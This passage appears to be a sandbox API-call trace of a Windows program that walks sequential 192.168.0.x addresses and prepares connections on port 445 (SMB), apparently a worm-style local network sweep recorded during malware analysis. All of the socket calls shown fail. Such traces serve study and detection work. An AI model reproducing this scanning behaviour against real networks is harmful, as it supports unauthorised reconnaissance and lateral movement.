argp=0xf2f8f8) returned -1 [0271.276] htonl (hostlong=0xc0a8004b) returned 0x4b00a8c0 [0271.276] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.276] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.276] htonl (hostlong=0xc0a8004c) returned 0x4c00a8c0 [0271.276] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.276] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.276] htonl (hostlong=0xc0a8004d) returned 0x4d00a8c0 [0271.276] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.276] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.276] htonl (hostlong=0xc0a8004e) returned 0x4e00a8c0 [0271.276] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.276] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.276] htonl (hostlong=0xc0a8004f) returned 0x4f00a8c0 [0271.276] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.276] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.276] htonl (hostlong=0xc0a80050) returned 0x5000a8c0 [0271.276] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.276] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.276] htonl (hostlong=0xc0a80051) returned 0x5100a8c0 [0271.276] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.276] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.276] htonl (hostlong=0xc0a80052) returned 0x5200a8c0 [0271.276] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.276] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.276] htonl (hostlong=0xc0a80053) returned 0x5300a8c0 [0271.276] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.276] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.276] htonl (hostlong=0xc0a80054) returned 0x5400a8c0 [0271.277] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.277] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.277] htonl (hostlong=0xc0a80055) returned 0x5500a8c0 [0271.277] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.277] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.277] htonl (hostlong=0xc0a80056) returned 0x5600a8c0 [0271.277] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.277] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.277] htonl (hostlong=0xc0a80057) returned 0x5700a8c0 [0271.277] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.277] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.277] htonl (hostlong=0xc0a80058) returned 0x5800a8c0 [0271.277] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.277] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.277] htonl (hostlong=0xc0a80059) returned 0x5900a8c0 [0271.277] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.277] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.277] htonl (hostlong=0xc0a8005a) returned 0x5a00a8c0 [0271.277] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.277] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.277] htonl (hostlong=0xc0a8005b) returned 0x5b00a8c0 [0271.277] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.278] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.278] htonl (hostlong=0xc0a8005c) returned 0x5c00a8c0 [0271.278] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.278] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.278] htonl (hostlong=0xc0a8005d) returned 0x5d00a8c0 [0271.278] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.278] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.278] htonl (hostlong=0xc0a8005e) returned 0x5e00a8c0 [0271.278] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.278] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.278] GetProcessHeap () returned 0x6a0000 [0271.278] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3799590 | out: hHeap=0x6a0000) returned 1 [0271.278] GetProcessHeap () returned 0x6a0000 [0271.278] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3799d98 | out: hHeap=0x6a0000) returned 1 [0271.278] htons (hostshort=0x1bd) returned 0xbd01 [0271.278] GetProcessHeap () returned 0x6a0000 [0271.278] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x800) returned 0x3799590 [0271.278] GetProcessHeap () returned 0x6a0000 [0271.278] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x800) returned 0x3799d98 [0271.278] htonl (hostlong=0xc0a80060) returned 0x6000a8c0 [0271.278] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.278] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.278] htonl (hostlong=0xc0a80061) returned 0x6100a8c0 [0271.278] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.279] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.279] htonl (hostlong=0xc0a80062) returned 0x6200a8c0 [0271.279] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.279] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.279] htonl (hostlong=0xc0a80063) returned 0x6300a8c0 [0271.279] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.279] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.279] htonl (hostlong=0xc0a80064) returned 0x6400a8c0 [0271.279] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.279] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.279] htonl (hostlong=0xc0a80065) returned 0x6500a8c0 [0271.279] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.279] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.279] htonl (hostlong=0xc0a80066) returned 0x6600a8c0 [0271.279] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.279] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.279] htonl (hostlong=0xc0a80067) returned 0x6700a8c0 [0271.279] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.279] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.279] htonl (hostlong=0xc0a80068) returned 0x6800a8c0 [0271.279] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.279] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.279] htonl (hostlong=0xc0a80069) returned 0x6900a8c0 [0271.279] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.279] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.279] htonl (hostlong=0xc0a8006a) returned 0x6a00a8c0 [0271.279] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.279] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.279] htonl (hostlong=0xc0a8006b) returned 0x6b00a8c0 [0271.279] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.279] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.279] htonl (hostlong=0xc0a8006c) returned 0x6c00a8c0 [0271.279] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.280] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.280] htonl (hostlong=0xc0a8006d) returned 0x6d00a8c0 [0271.280] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.280] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.280] htonl (hostlong=0xc0a8006e) returned 0x6e00a8c0 [0271.280] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.280] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.280] htonl (hostlong=0xc0a8006f) returned 0x6f00a8c0 [0271.280] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.280] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.280] htonl (hostlong=0xc0a80070) returned 0x7000a8c0 [0271.280] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.280] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.280] htonl (hostlong=0xc0a80071) returned 0x7100a8c0 [0271.280] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.280] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.280] htonl (hostlong=0xc0a80072) returned 0x7200a8c0 [0271.280] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.280] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.280] htonl (hostlong=0xc0a80073) returned 0x7300a8c0 [0271.280] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.280] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.280] htonl (hostlong=0xc0a80074) returned 0x7400a8c0 [0271.280] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.280] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.280] htonl (hostlong=0xc0a80075) returned 0x7500a8c0 [0271.280] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.280] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.280] htonl (hostlong=0xc0a80076) returned 0x7600a8c0 [0271.280] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.280] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.280] htonl (hostlong=0xc0a80077) returned 0x7700a8c0 [0271.280] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.280] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.281] htonl (hostlong=0xc0a80078) returned 0x7800a8c0 [0271.281] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.281] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.281] htonl (hostlong=0xc0a80079) returned 0x7900a8c0 [0271.281] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.281] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.281] htonl (hostlong=0xc0a8007a) returned 0x7a00a8c0 [0271.281] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.281] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.281] htonl (hostlong=0xc0a8007b) returned 0x7b00a8c0 [0271.281] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.281] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.281] htonl (hostlong=0xc0a8007c) returned 0x7c00a8c0 [0271.281] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.281] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.281] htonl (hostlong=0xc0a8007d) returned 0x7d00a8c0 [0271.281] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.281] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.281] htonl (hostlong=0xc0a8007e) returned 0x7e00a8c0 [0271.281] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.281] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.281] htonl (hostlong=0xc0a8007f) returned 0x7f00a8c0 [0271.281] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.281] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.281] htonl (hostlong=0xc0a80080) returned 0x8000a8c0 [0271.281] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.281] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.281] htonl (hostlong=0xc0a80081) returned 0x8100a8c0 [0271.281] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.281] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.281] htonl (hostlong=0xc0a80082) returned 0x8200a8c0 [0271.281] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.281] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.282] htonl (hostlong=0xc0a80083) returned 0x8300a8c0 [0271.282] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.282] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.282] htonl (hostlong=0xc0a80084) returned 0x8400a8c0 [0271.282] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.282] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.282] htonl (hostlong=0xc0a80085) returned 0x8500a8c0 [0271.282] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.282] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.282] htonl (hostlong=0xc0a80086) returned 0x8600a8c0 [0271.282] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.282] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.282] htonl (hostlong=0xc0a80087) returned 0x8700a8c0 [0271.282] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.282] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.282] htonl (hostlong=0xc0a80088) returned 0x8800a8c0 [0271.282] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.282] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.282] htonl (hostlong=0xc0a80089) returned 0x8900a8c0 [0271.282] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.282] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.282] htonl (hostlong=0xc0a8008a) returned 0x8a00a8c0 [0271.282] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.282] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.282] htonl (hostlong=0xc0a8008b) returned 0x8b00a8c0 [0271.282] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.282] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.282] htonl (hostlong=0xc0a8008c) returned 0x8c00a8c0 [0271.282] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.282] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.282] htonl (hostlong=0xc0a8008d) returned 0x8d00a8c0 [0271.282] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.282] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.282] htonl (hostlong=0xc0a8008e) returned 0x8e00a8c0 [0271.283] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.283] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.283] htonl (hostlong=0xc0a8008f) returned 0x8f00a8c0 [0271.283] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.283] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.283] htonl (hostlong=0xc0a80090) returned 0x9000a8c0 [0271.283] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.283] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.283] htonl (hostlong=0xc0a80091) returned 0x9100a8c0 [0271.283] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.283] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.283] htonl (hostlong=0xc0a80092) returned 0x9200a8c0 [0271.283] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.283] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.283] htonl (hostlong=0xc0a80093) returned 0x9300a8c0 [0271.283] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.283] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.283] htonl (hostlong=0xc0a80094) returned 0x9400a8c0 [0271.283] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.283] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.283] htonl (hostlong=0xc0a80095) returned 0x9500a8c0 [0271.283] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.283] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.283] htonl (hostlong=0xc0a80096) returned 0x9600a8c0 [0271.283] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.283] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.283] htonl (hostlong=0xc0a80097) returned 0x9700a8c0 [0271.283] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.283] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.283] htonl (hostlong=0xc0a80098) returned 0x9800a8c0 [0271.283] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.283] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.283] htonl (hostlong=0xc0a80099) returned 0x9900a8c0 [0271.284] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.284] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.284] htonl (hostlong=0xc0a8009a) returned 0x9a00a8c0 [0271.284] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.284] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.284] htonl (hostlong=0xc0a8009b) returned 0x9b00a8c0 [0271.284] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.284] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.284] htonl (hostlong=0xc0a8009c) returned 0x9c00a8c0 [0271.284] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.284] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.284] htonl (hostlong=0xc0a8009d) returned 0x9d00a8c0 [0271.284] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.284] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.284] htonl (hostlong=0xc0a8009e) returned 0x9e00a8c0 [0271.284] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.284] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.284] htonl (hostlong=0xc0a8009f) returned 0x9f00a8c0 [0271.284] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.284] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.284] htonl (hostlong=0xc0a800a0) returned 0xa000a8c0 [0271.284] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.284] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.284] htonl (hostlong=0xc0a800a1) returned 0xa100a8c0 [0271.284] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.284] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.284] htonl (hostlong=0xc0a800a2) returned 0xa200a8c0 [0271.284] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.284] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.284] htonl (hostlong=0xc0a800a3) returned 0xa300a8c0 [0271.284] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.284] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.284] htonl (hostlong=0xc0a800a4) returned 0xa400a8c0 [0271.285] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.285] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.285] htonl (hostlong=0xc0a800a5) returned 0xa500a8c0 [0271.285] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.285] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.285] htonl (hostlong=0xc0a800a6) returned 0xa600a8c0 [0271.285] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.285] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.285] htonl (hostlong=0xc0a800a7) returned 0xa700a8c0 [0271.285] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.285] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.285] htonl (hostlong=0xc0a800a8) returned 0xa800a8c0 [0271.285] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.285] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.285] htonl (hostlong=0xc0a800a9) returned 0xa900a8c0 [0271.285] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.285] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.285] htonl (hostlong=0xc0a800aa) returned 0xaa00a8c0 [0271.285] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.285] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.285] htonl (hostlong=0xc0a800ab) returned 0xab00a8c0 [0271.285] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.285] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.285] htonl (hostlong=0xc0a800ac) returned 0xac00a8c0 [0271.285] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.285] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.285] htonl (hostlong=0xc0a800ad) returned 0xad00a8c0 [0271.285] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.285] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.285] htonl (hostlong=0xc0a800ae) returned 0xae00a8c0 [0271.285] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.285] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.286] htonl (hostlong=0xc0a800af) returned 0xaf00a8c0 [0271.286] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.286] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.286] htonl (hostlong=0xc0a800b0) returned 0xb000a8c0 [0271.286] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.286] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.286] htonl (hostlong=0xc0a800b1) returned 0xb100a8c0 [0271.286] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.286] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.286] htonl (hostlong=0xc0a800b2) returned 0xb200a8c0 [0271.286] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.286] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.286] htonl (hostlong=0xc0a800b3) returned 0xb300a8c0 [0271.286] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.286] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.286] htonl (hostlong=0xc0a800b4) returned 0xb400a8c0 [0271.286] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.286] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.286] htonl (hostlong=0xc0a800b5) returned 0xb500a8c0 [0271.286] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.286] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.286] htonl (hostlong=0xc0a800b6) returned 0xb600a8c0 [0271.286] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.286] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.286] htonl (hostlong=0xc0a800b7) returned 0xb700a8c0 [0271.286] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.286] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.286] htonl (hostlong=0xc0a800b8) returned 0xb800a8c0 [0271.286] 